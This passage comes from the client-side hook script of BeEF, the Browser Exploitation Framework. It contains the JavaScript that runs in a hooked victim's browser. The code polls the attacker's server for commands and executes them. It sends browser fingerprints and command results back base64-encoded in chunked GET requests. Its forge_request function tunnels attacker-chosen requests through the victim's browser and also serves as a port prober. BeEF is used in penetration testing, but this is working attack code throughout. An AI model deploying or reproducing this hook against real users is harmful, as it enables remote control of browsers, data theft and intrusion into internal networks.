  11809.             s.cid = cid;
  11810.             s.results = beef.net.clean(results);
  11811.             s.status = status;
  11812.             s.callback = callback;
  11813.             s.handler = handler;
  11814.             this.cmd_queue.push(s);
  11815.         }
  11816.     },
  11817.  
  11818.     /**
  11819.      * Queues the current command results and flushes the queue straight away.
  11820.      * NOTE: Always send Browser Fingerprinting results
  11821.      * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
  11822.      * even if WebSockets are enabled.
  11823.      * @param {String} handler the server-side handler that will be called
  11824.      * @param {Integer} cid command id
  11825.      * @param {String} results the data to send
  11826.      * @param {Integer} exec_status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
  11827.      * @param {Function} callback the function to call after execution
  11828.      * @return {Integer} the command module execution status (defaults to 0 - 'unknown' if status is null)
  11829.      */
  11830.     send: function (handler, cid, results, exec_status, callback) {
  11831.         // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
  11832.         var status = 0;
  11833.         if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
  11834.  
  11835.         if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
  11836.             this.queue(handler, cid, results, status, callback);
  11837.             this.flush();
  11838.         } else {
  11839.             try {
  11840.                 beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
  11841.                     '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
  11842.                     '", "status": "' + exec_status +
  11843.                     '", "callback": "' + callback +
  11844.                     '","bh":"' + beef.session.get_hook_session_id() + '" }');
  11845.             } catch (e) {
  11846.                 this.queue(handler, cid, results, status, callback);
  11847.                 this.flush();
  11848.             }
  11849.         }
  11850.  
  11851.         return status;
  11852.     },
  11853.  
  11854.     /**
  11855.      * Flush all currently queued command results to the framework,
  11856.      * chopping the data in chunks ('chunk' method) which will be re-assembled
  11857.      * server-side by the network stack.
  11858.      * NOTE: currently 'flush' is used only with the default
  11859.      * XHR-polling mechanism. If WebSockets are used, the data is sent
  11860.      * back to BeEF straight away.
  11861.      */
  11862.     flush: function (callback) {
  11863.         if (this.cmd_queue.length > 0) {
  11864.             var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
  11865.             this.cmd_queue.length = 0;
  11866.             this.sid_count++;
  11867.             var stream = new this.stream();
  11868.             stream.id = this.sid_count;
  11869.             var pad = stream.get_base_url_length() + this.pad;
  11870.             //cant continue if chop amount is too low
  11871.             if ((this.chop - pad) > 0) {
  11872.                 var data = this.chunk(data, (this.chop - pad));
  11873.                 for (var i = 1; i <= data.length; i++) {
  11874.                     var packet = new this.packet();
  11875.                     packet.id = i;
  11876.                     packet.data = data[(i - 1)];
  11877.                     stream.packets.push(packet);
  11878.                 }
  11879.                 stream.pc = stream.packets.length;
  11880.                 this.push(stream, callback);
  11881.             }
  11882.         } else {
  11883.             if ((typeof callback != 'undefined') && (callback != null)) {
  11884.                 callback();
  11885.             }
  11886.         }
  11887.     },
  11888.  
  11889.     /**
  11890.      * Split the input data into chunk lengths determined by the amount parameter.
  11891.      * @param {String} str the input data
  11892.      * @param {Integer} amount chunk length
  11893.      */
  11894.     chunk: function (str, amount) {
  11895.         if (typeof amount == 'undefined') n = 2;
  11896.         return str.match(RegExp('.{1,' + amount + '}', 'g'));
  11897.     },
  11898.  
  11899.     /**
  11900.      * Push the input stream back to the BeEF server-side components.
  11901.      * It uses beef.net.request to send back the data.
  11902.      * @param {Object} stream the stream object to be sent back.
  11903.      */
  11904.     push: function (stream, callback) {
  11905.         //need to implement wait feature here eventually
  11906.         if (typeof callback === 'undefined') {
  11907.             callback = null;
  11908.         }
  11909.         for (var i = 0; i < stream.pc; i++) {
  11910.             var cb = null;
  11911.             if (i == (stream.pc - 1)) {
  11912.                 cb = callback;
  11913.             }
  11914.             this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null,
  11915.                     stream.get_packet_data(), 10, 'text', cb);
  11916.         }
  11917.     },
  11918.  
  11919.     /**
  11920.      * Performs http requests
  11921.      * @param {String} scheme HTTP or HTTPS
  11922.      * @param {String} method GET or POST
  11923.      * @param {String} domain bindshell.net, 192.168.3.4, etc
  11924.      * @param {Int} port 80, 5900, etc
  11925.      * @param {String} path /path/to/resource
  11926.      * @param {String} anchor this is the value that comes after the # in the URL
  11927.      * @param {String} data This will be used as the query string for a GET or post data for a POST
  11928.      * @param {Int} timeout timeout the request after N seconds
  11929.      * @param {String} dataType specify the data return type expected (ie text/html/script)
  11930.      * @param {Function} callback call the callback function at the completion of the method
  11931.      *
  11932.      * @return {Object} this object contains the response details
  11933.      */
  11934.     request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
  11935.         //check if same origin or cross origin
  11936.         var cross_origin = true;
  11937.         if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
  11938.             if (document.location.port == "" || document.location.port == null) {
  11939.                 cross_origin = !(port == "80" || port == "443");
  11940.             }
  11941.         }
  11942.  
  11943.         //build the url
  11944.         var url = "";
  11945.         if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
  11946.             url = path;
  11947.         } else {
  11948.             url = scheme + "://" + domain;
  11949.             url = (port != null) ? url + ":" + port : url;
  11950.             url = (path != null) ? url + path : url;
  11951.             url = (anchor != null) ? url + "#" + anchor : url;
  11952.         }
  11953.  
  11954.         //define response object
  11955.         var response = new this.response;
  11956.         response.was_cross_origin = cross_origin;
  11957.         var start_time = new Date().getTime();
  11958.  
  11959.         /*
  11960.          * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
  11961.          * This will turn POSTs into GETs for cross origin requests.
  11962.          */
  11963.         if (method == "POST") {
  11964.             $j.ajaxSetup({
  11965.                 dataType: dataType
  11966.             });
  11967.         } else {
  11968.             $j.ajaxSetup({
  11969.                 dataType: 'script'
  11970.             });
  11971.         }
  11972.  
  11973.         //build and execute the request
  11974.         $j.ajax({type: method,
  11975.             url: url,
  11976.             data: data,
  11977.             timeout: (timeout * 1000),
  11978.  
  11979.             //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
  11980.             beforeSend: function (xhr) {
  11981.                 if (method == "POST") {
  11982.                     xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
  11983.                 }
  11984.             },
  11985.             success: function (data, textStatus, xhr) {
  11986.                 var end_time = new Date().getTime();
  11987.                 response.status_code = xhr.status;
  11988.                 response.status_text = textStatus;
  11989.                 response.response_body = data;
  11990.                 response.port_status = "open";
  11991.                 response.was_timedout = false;
  11992.                 response.duration = (end_time - start_time);
  11993.             },
  11994.             error: function (jqXHR, textStatus, errorThrown) {
  11995.                 var end_time = new Date().getTime();
  11996.                 response.response_body = jqXHR.responseText;
  11997.                 response.status_code = jqXHR.status;
  11998.                 response.status_text = textStatus;
  11999.                 response.duration = (end_time - start_time);
  12000.                 response.port_status = "open";
  12001.             },
  12002.             complete: function (jqXHR, textStatus) {
  12003.                 response.status_code = jqXHR.status;
  12004.                 response.status_text = textStatus;
  12005.                 response.headers = jqXHR.getAllResponseHeaders();
  12006.                 // determine if TCP port is open/closed/not-http
  12007.                 if (textStatus == "timeout") {
  12008.                     response.was_timedout = true;
  12009.                     response.response_body = "ERROR: Timed out\n";
  12010.                     response.port_status = "closed";
  12011.                 } else if (textStatus == "parsererror") {
  12012.                     response.port_status = "not-http";
  12013.                 } else {
  12014.                     response.port_status = "open";
  12015.                 }
  12016.             }
  12017.         }).always(function () {
  12018.                 if (callback != null) {
  12019.                     callback(response);
  12020.                 }
  12021.             });
  12022.         return response;
  12023.     },
  12024.  
  12025.     /**
  12026.      * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
  12027.      *  - requestid: needed on the callback
  12028.      *  - allowCrossOrigin: set cross-origin requests as allowed or blocked
  12029.      *
  12030.      * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
  12031.      * Example usage:
  12032.      * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
  12033.      *   true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
  12034.      *   alert(response.response_body)})
  12035.      */
  12036.     forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossOrigin, requestid, callback) {
  12037.  
  12038.         if (domain == "undefined" || path == "undefined") {
  12039.             beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
  12040.             return;
  12041.         }
  12042.  
  12043.         // check if same origin or cross origin
  12044.         var cross_origin = true;
  12045.         if (document.domain == domain && document.location.protocol == scheme + ':') {
  12046.             if (document.location.port == "" || document.location.port == null) {
  12047.                 cross_origin = !(port == "80" || port == "443");
  12048.             } else {
  12049.                 if (document.location.port == port) cross_origin = false;
  12050.             }
  12051.         }
  12052.  
  12053.         // build the url
  12054.         var url = "";
  12055.         if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
  12056.             url = path;
  12057.         } else {
  12058.             url = scheme + "://" + domain;
  12059.             url = (port != null) ? url + ":" + port : url;
  12060.             url = (path != null) ? url + path : url;
  12061.             url = (anchor != null) ? url + "#" + anchor : url;
  12062.         }
  12063.  
  12064.         // define response object
  12065.         var response = new this.response;
  12066.         response.was_cross_origin = cross_origin;
  12067.         var start_time = new Date().getTime();
  12068.  
  12069.         // if cross-origin requests are not allowed and the request is cross-origin
  12070.         // don't proceed and return
  12071.         if (allowCrossOrigin == "false" && cross_origin) {
  12072.             beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
  12073.             response.status_code = -1;
  12074.             response.status_text = "crossorigin";
  12075.             response.port_status = "crossorigin";
  12076.             response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
  12077.             response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
  12078.             if (callback != null) callback(response, requestid);
  12079.             return response;
  12080.         }
  12081.  
  12082.         // if the request was cross-origin from a HTTPS origin to HTTP
  12083.         // don't proceed and return
  12084.         if (document.location.protocol == 'https:' && scheme == 'http') {
  12085.             beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
  12086.             response.status_code = -1;
  12087.             response.status_text = "mixedcontent";
  12088.             response.port_status = "mixedcontent";
  12089.             response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
  12090.             response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
  12091.             if (callback != null) callback(response, requestid);
  12092.             return response;
  12093.         }
  12094.  
  12095.         /*
  12096.          * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
  12097.          * This will turn POSTs into GETs for cross origin requests.
  12098.          */
  12099.         if (method == "POST") {
  12100.             $j.ajaxSetup({
  12101.                 dataType: dataType
  12102.             });
  12103.         } else {
  12104.             $j.ajaxSetup({
  12105.                 dataType: 'script'
  12106.             });
  12107.         }
  12108.  
  12109.         // this is required for bugs in IE so data can be transferred back to the server
  12110.         if (beef.browser.isIE()) {
  12111.             dataType = 'script'
  12112.         }
  12113.  
  12114.         $j.ajax({type: method,
  12115.             dataType: dataType,
  12116.             url: url,
  12117.             headers: headers,
  12118.             timeout: (timeout * 1000),
  12119.  
  12120.             //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
  12121.             beforeSend: function (xhr) {
  12122.                 if (method == "POST") {
  12123.                     xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
  12124.                 }
  12125.             },
  12126.  
  12127.             data: data,
  12128.  
  12129.             // http server responded successfully
  12130.             success: function (data, textStatus, xhr) {
  12131.                 var end_time = new Date().getTime();
  12132.                 response.status_code = xhr.status;
  12133.                 response.status_text = textStatus;
  12134.                 response.response_body = data;
  12135.                 response.was_timedout = false;
  12136.                 response.duration = (end_time - start_time);
  12137.             },
  12138.  
  12139.             // server responded with a http error (403, 404, 500, etc)
  12140.             // or server is not a http server
  12141.             error: function (xhr, textStatus, errorThrown) {
  12142.                 var end_time = new Date().getTime();
  12143.                 response.response_body = xhr.responseText;
  12144.                 response.status_code = xhr.status;
  12145.                 response.status_text = textStatus;
  12146.                 response.duration = (end_time - start_time);
  12147.             },
  12148.  
  12149.             complete: function (xhr, textStatus) {
  12150.                 // cross-origin request
  12151.                 if (cross_origin) {
  12152.  
  12153.                     response.port_status = "crossorigin";
  12154.  
  12155.                     if (xhr.status != 0) {
  12156.                         response.status_code = xhr.status;
  12157.                     } else {
  12158.                         response.status_code = -1;
  12159.                     }
  12160.  
  12161.                     if (textStatus) {
  12162.                         response.status_text = textStatus;
  12163.                     } else {
  12164.                         response.status_text = "crossorigin";
  12165.                     }
  12166.  
  12167.                     if (xhr.getAllResponseHeaders()) {
  12168.                         response.headers = xhr.getAllResponseHeaders();
  12169.                     } else {
  12170.                         response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
  12171.                     }
  12172.  
  12173.                     if (!response.response_body) {
  12174.                         response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
  12175.                     }
  12176.  
  12177.                 } else {
  12178.                     // same-origin request
  12179.                     response.status_code = xhr.status;
  12180.                     response.status_text = textStatus;
  12181.                     response.headers = xhr.getAllResponseHeaders();
  12182.  
  12183.                     // determine if TCP port is open/closed/not-http
  12184.                     if (textStatus == "timeout") {
  12185.                         response.was_timedout = true;
  12186.                         response.response_body = "ERROR: Timed out\n";
  12187.                         response.port_status = "closed";
  12188.                         /*
  12189.                          * With IE we need to explicitly set the dataType to "script",
  12190.                          * so there will be always parse-errors if the content is != javascript
  12191.                          * */
  12192.                     } else if (textStatus == "parsererror") {
  12193.                         response.port_status = "not-http";
  12194.                         if (beef.browser.isIE()) {
  12195.                             response.status_text = "success";
  12196.                             response.port_status = "open";
  12197.                         }
  12198.                     } else {
  12199.                         response.port_status = "open";
  12200.                     }
  12201.                 }
  12202.                 callback(response, requestid);
  12203.             }
  12204.         });
  12205.         return response;
  12206.     },
  12207.  
  12208.     /** this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
  12209.      *  http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
  12210.      */
  12211.     clean: function (r) {
  12212.         if (this.array_has_string_key(r)) {
  12213.             var obj = {};
  12214.             for (var key in r)
  12215.                 obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
  12216.             return obj;
  12217.         }
  12218.         return r;
  12219.     },
  12220.  
  12221.     /** Detects if an array has a string key */
  12222.     array_has_string_key: function (arr) {
  12223.         if ($j.isArray(arr)) {
  12224.             try {
  12225.                 for (var key in arr)
  12226.                     if (isNaN(parseInt(key))) return true;
  12227.             } catch (e) {
  12228.             }
  12229.         }
  12230.         return false;
  12231.     },
  12232.  
  12233.     /**
  12234.      * Checks if the specified port is valid
  12235.      */
  12236.     is_valid_port: function (port) {
  12237.       if (isNaN(port)) return false;
  12238.       if (port > 65535 || port < 0) return false;
  12239.       return true;
  12240.     },
  12241.  
  12242.     /**
  12243.      * Checks if the specified IP address is valid
  12244.      */
  12245.     is_valid_ip: function (ip) {
  12246.       if (ip == null) return false;
  12247.       var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
  12248.       if (ip_match == null) return false;
  12249.       return true;
  12250.     },
  12251.  
  12252.     /**
  12253.      * Checks if the specified IP address range is valid
  12254.      */
  12255.     is_valid_ip_range: function (ip_range) {
  12256.       if (ip_range == null) return false;
  12257.       var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
  12258.       if (range_match == null || range_match[1] == null) return false;
  12259.       return true;
  12260.     },
  12261.  
  12262.     /**
  12263.      * Sends back browser details to framework, calling beef.browser.getDetails()
  12264.      */
  12265.     browser_details: function () {
  12266.         var details = beef.browser.getDetails();
  12267.         var res = null;
  12268.         details['HookSessionID'] = beef.session.get_hook_session_id();
  12269.         this.send('/init', 0, details);
  12270.         if(details != null)
  12271.             res = true;
  12272.  
  12273.         return res;
  12274.     }
  12275.  
  12276. };
  12277.  
  12278.  
  12279. beef.regCmp('beef.net');
  12280.  
  12281.  
  12282. //
  12283. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  12284. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  12285. // See the file 'doc/COPYING' for copying permission
  12286. //
  12287.  
  12288. /**
  12289.  * Object in charge of getting new commands from the BeEF framework and execute them.
  12290.  * The XHR-polling channel is managed here. If WebSockets are enabled,
  12291.  * websocket.js is used instead.
  12292.  * @namespace beef.updater
  12293.  */
  12294. beef.updater = {
  12295.        
  12296.         /** XHR-polling timeout. */
  12297.         xhr_poll_timeout: "1000",
  12298.        
  12299.         /** Hook session name. */
  12300.     beefhook: "BEEFHOOK",
  12301.        
  12302.         /** A lock. */
  12303.         lock: false,
  12304.        
  12305.         /** An object containing all values to be registered and sent by the updater. */
  12306.         objects: new Object(),
  12307.        
  12308.         /**
  12309.          * Registers an object to always send when requesting new commands to the framework.
  12310.          * @param {String} key the name of the object.
  12311.          * @param {String} value the value of that object.
  12312.          *
  12313.          * @example beef.updater.regObject('java_enabled', 'true');
  12314.          */
  12315.         regObject: function(key, value) {
  12316.                 this.objects[key] = escape(value);
  12317.         },
  12318.        
  12319.         // Checks for new commands from the framework and runs them.
  12320.         check: function() {
  12321.                 if(this.lock == false) {
  12322.                         if (beef.logger.running) {
  12323.                                 beef.logger.queue();
  12324.                         }
  12325.                         beef.net.flush();
  12326.                         if(beef.commands.length > 0) {
  12327.                                 this.execute_commands();
  12328.                         }else {
  12329.                                 this.get_commands();    /*Polling*/
  12330.                         }
  12331.                 }
  12332.         /* The following gives a stupid syntax error in IE, which can be ignored*/
  12333.         setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
  12334.         },
  12335.        
  12336.     /**
  12337.      * Gets new commands from the framework.
  12338.      */
  12339.         get_commands: function() {
  12340.                 try {
  12341.                         this.lock = true;
  12342.             beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
  12343.                 if (response.body != null && response.body.length > 0)
  12344.                     beef.updater.execute_commands();
  12345.             });
  12346.                 } catch(e) {
  12347.                         this.lock = false;
  12348.                         return;
  12349.                 }
  12350.                 this.lock = false;
  12351.         },
  12352.        
  12353.     /**
  12354.      * Executes the received commands, if any.
  12355.      */
  12356.         execute_commands: function() {
  12357.                 if(beef.commands.length == 0) return;
  12358.                 this.lock = true;
  12359.                 while(beef.commands.length > 0) {
  12360.                         command = beef.commands.pop();
  12361.                         try {
  12362.                                 command();
  12363.                         } catch(e) {
  12364.                                 beef.debug('execute_commands - command failed to execute: ' + e.message);
  12365.                 // prints the command source to be executed, to better trace errors
  12366.                 // beef.client_debug must be enabled in the main config
  12367.                 beef.debug(command.toString());
  12368.                         }
  12369.                 }
  12370.                 this.lock = false;
  12371.         }
  12372. };
  12373.  
  12374. beef.regCmp('beef.updater');
  12375.  
  12376.  
  12377. //
  12378. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  12379. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  12380. // See the file 'doc/COPYING' for copying permission
  12381. //
  12382.  
  12383. // Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
  12384.  
  12385. beef.encode = {};
  12386.  
  12387. /**
  12388.  * Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
  12389.  * @namespace beef.encode.base64
  12390.  */
  12391. beef.encode.base64 = {
  12392.        
  12393.         keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  12394.     /**
  12395.      * @memberof beef.encode.base64
  12396.      * @param {string} input
  12397.      * @return {string}
  12398.      */
  12399.     encode : function (input) {
  12400.         if (window.btoa) {
  12401.            return btoa(unescape(encodeURIComponent(input)));
  12402.         }
  12403.  
  12404.         var output = "";
  12405.         var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  12406.         var i = 0;
  12407.  
  12408.         input = beef.encode.base64.utf8_encode(input);
  12409.  
  12410.         while (i < input.length) {
  12411.  
  12412.             chr1 = input.charCodeAt(i++);
  12413.             chr2 = input.charCodeAt(i++);
  12414.             chr3 = input.charCodeAt(i++);
  12415.  
  12416.             enc1 = chr1 >> 2;
  12417.             enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  12418.             enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  12419.             enc4 = chr3 & 63;
  12420.  
  12421.             if (isNaN(chr2)) {
  12422.                 enc3 = enc4 = 64;
  12423.             } else if (isNaN(chr3)) {
  12424.                 enc4 = 64;
  12425.             }
  12426.  
  12427.             output = output +
  12428.             this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
  12429.             this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
  12430.  
  12431.         }
  12432.  
  12433.         return output;
  12434.     },
  12435.  
  12436.     /**
  12437.      * @memberof beef.encode.base64
  12438.      * @param {string} input
  12439.      * @return {string}
  12440.      */
  12441.     decode : function (input) {
  12442.         if (window.atob) {
  12443.             return escape(atob(input));
  12444.         }
  12445.  
  12446.         var output = "";
  12447.         var chr1, chr2, chr3;
  12448.         var enc1, enc2, enc3, enc4;
  12449.         var i = 0;
  12450.  
  12451.         input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  12452.  
  12453.         while (i < input.length) {
  12454.  
  12455.             enc1 = this.keyStr.indexOf(input.charAt(i++));
  12456.             enc2 = this.keyStr.indexOf(input.charAt(i++));
  12457.             enc3 = this.keyStr.indexOf(input.charAt(i++));
  12458.             enc4 = this.keyStr.indexOf(input.charAt(i++));
  12459.  
  12460.             chr1 = (enc1 << 2) | (enc2 >> 4);
  12461.             chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  12462.             chr3 = ((enc3 & 3) << 6) | enc4;
  12463.  
  12464.             output = output + String.fromCharCode(chr1);
  12465.  
  12466.             if (enc3 != 64) {
  12467.                 output = output + String.fromCharCode(chr2);
  12468.             }
  12469.             if (enc4 != 64) {
  12470.                 output = output + String.fromCharCode(chr3);
  12471.             }
  12472.  
  12473.         }
  12474.  
  12475.         output = beef.encode.base64.utf8_decode(output);
  12476.  
  12477.         return output;
  12478.  
  12479.     },
  12480.  
  12481.     /**
  12482.      * @memberof beef.encode.base64
  12483.      * @param {string} string
  12484.      * @return {string}
  12485.      */
  12486.     utf8_encode : function (string) {
  12487.         string = string.replace(/\r\n/g,"\n");
  12488.         var utftext = "";
  12489.  
  12490.         for (var n = 0; n < string.length; n++) {
  12491.  
  12492.             var c = string.charCodeAt(n);
  12493.  
  12494.             if (c < 128) {
  12495.                 utftext += String.fromCharCode(c);
  12496.             }
  12497.             else if((c > 127) && (c < 2048)) {
  12498.                 utftext += String.fromCharCode((c >> 6) | 192);
  12499.                 utftext += String.fromCharCode((c & 63) | 128);
  12500.             }
  12501.             else {
  12502.                 utftext += String.fromCharCode((c >> 12) | 224);
  12503.                 utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  12504.                 utftext += String.fromCharCode((c & 63) | 128);
  12505.             }
  12506.  
  12507.         }
  12508.  
  12509.         return utftext;
  12510.     },
  12511.     /**
  12512.      * @memberof beef.encode.base64
  12513.      * @param {string} utftext
  12514.      * @return {string}
  12515.      */
  12516.     utf8_decode : function (utftext) {
  12517.         var string = "";
  12518.         var i = 0;
  12519.         var c = c1 = c2 = 0;
  12520.  
  12521.         while ( i < utftext.length ) {
  12522.  
  12523.             c = utftext.charCodeAt(i);
  12524.  
  12525.             if (c < 128) {
  12526.                 string += String.fromCharCode(c);
  12527.                 i++;
  12528.             }
  12529.             else if((c > 191) && (c < 224)) {
  12530.                 c2 = utftext.charCodeAt(i+1);
  12531.                 string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  12532.                 i += 2;
  12533.             }
  12534.             else {
  12535.                 c2 = utftext.charCodeAt(i+1);
  12536.                 c3 = utftext.charCodeAt(i+2);
  12537.                 string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  12538.                 i += 3;
  12539.             }
  12540.  
  12541.         }
  12542.  
  12543.         return string;
  12544.     }
  12545.  
  12546. };
  12547.  
  12548. beef.regCmp('beef.encode.base64');
  12549.  
  12550.  
  12551. //
  12552. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  12553. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  12554. // See the file 'doc/COPYING' for copying permission
  12555. //
  12556.  
  12557. /**
  12558.  * Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
  12559.  * @namespace beef.encode.json
  12560.  */
  12561.  
  12562. beef.encode.json = {
  12563.         /**
  12564.      * @memberof beef.encode.json
  12565.      * @param o
  12566.      */
  12567.         stringify: function(o) {
  12568.         if (typeof(JSON) == 'object' && JSON.stringify) {
  12569.             // Error on stringifying cylcic structures caused polling to die
  12570.             try {
  12571.                 s = JSON.stringify(o);    
  12572.             } catch(error) {
  12573.                 // TODO log error / handle cyclic structures?
  12574.             }
  12575.             return s;
  12576.         }
  12577.         var type = typeof(o);
  12578.    
  12579.         if (o === null)
  12580.             return "null";
  12581.    
  12582.         if (type == "undefined")
  12583.             return '\"\"';
  12584.        
  12585.         if (type == "number" || type == "boolean")
  12586.             return o + "";
  12587.    
  12588.         if (type == "string")
  12589.             return $j.quoteString(o);
  12590.    
  12591.         if (type == 'object')
  12592.         {
  12593.             if (typeof o.toJSON == "function")
  12594.                 return $j.toJSON( o.toJSON() );
  12595.            
  12596.             if (o.constructor === Date)
  12597.             {
  12598.                 var month = o.getUTCMonth() + 1;
  12599.                 if (month < 10) month = '0' + month;
  12600.  
  12601.                 var day = o.getUTCDate();
  12602.                 if (day < 10) day = '0' + day;
  12603.  
  12604.                 var year = o.getUTCFullYear();
  12605.                
  12606.                 var hours = o.getUTCHours();
  12607.                 if (hours < 10) hours = '0' + hours;
  12608.                
  12609.                 var minutes = o.getUTCMinutes();
  12610.                 if (minutes < 10) minutes = '0' + minutes;
  12611.                
  12612.                 var seconds = o.getUTCSeconds();
  12613.                 if (seconds < 10) seconds = '0' + seconds;
  12614.                
  12615.                 var milli = o.getUTCMilliseconds();
  12616.                 if (milli < 100) milli = '0' + milli;
  12617.                 if (milli < 10) milli = '0' + milli;
  12618.  
  12619.                 return '"' + year + '-' + month + '-' + day + 'T' +
  12620.                              hours + ':' + minutes + ':' + seconds +
  12621.                              '.' + milli + 'Z"';
  12622.             }
  12623.  
  12624.             if (o.constructor === Array)
  12625.             {
  12626.                 var ret = [];
  12627.                 for (var i = 0; i < o.length; i++)
  12628.                     ret.push( $j.toJSON(o[i]) || "null" );
  12629.  
  12630.                 return "[" + ret.join(",") + "]";
  12631.             }
  12632.        
  12633.             var pairs = [];
  12634.             for (var k in o) {
  12635.                 var name;
  12636.                 var type = typeof k;
  12637.  
  12638.                 if (type == "number")
  12639.                     name = '"' + k + '"';
  12640.                 else if (type == "string")
  12641.                     name = $j.quoteString(k);
  12642.                 else
  12643.                     continue;  //skip non-string or number keys
  12644.            
  12645.                 if (typeof o[k] == "function")
  12646.                     continue;  //skip pairs where the value is a function.
  12647.            
  12648.                 var val = $j.toJSON(o[k]);
  12649.            
  12650.                 pairs.push(name + ":" + val);
  12651.             }
  12652.  
  12653.             return "{" + pairs.join(", ") + "}";
  12654.         }
  12655.     },
  12656.     /**
  12657.      * @memberof beef.encode.json
  12658.      * @param string
  12659.      */
  12660.     quoteString: function(string) {
  12661.         if (string.match(this._escapeable))
  12662.         {
  12663.             return '"' + string.replace(this._escapeable, function (a)
  12664.             {
  12665.                 var c = this._meta[a];
  12666.                 if (typeof c === 'string') return c;
  12667.                 c = a.charCodeAt();
  12668.                 return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
  12669.             }) + '"';
  12670.         }
  12671.         return '"' + string + '"';
  12672.     },
  12673.    
  12674.     _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
  12675.    
  12676.     _meta : {
  12677.         '\b': '\\b',
  12678.         '\t': '\\t',
  12679.         '\n': '\\n',
  12680.         '\f': '\\f',
  12681.         '\r': '\\r',
  12682.         '"' : '\\"',
  12683.         '\\': '\\\\'
  12684.     }
  12685. };
  12686.  
  12687. $j.toJSON = function(o) {return beef.encode.json.stringify(o);};
  12688. $j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
  12689.  
  12690. beef.regCmp('beef.encode.json');
  12691.  
  12692.  
  12693. //
  12694. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  12695. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  12696. // See the file 'doc/COPYING' for copying permission
  12697. //
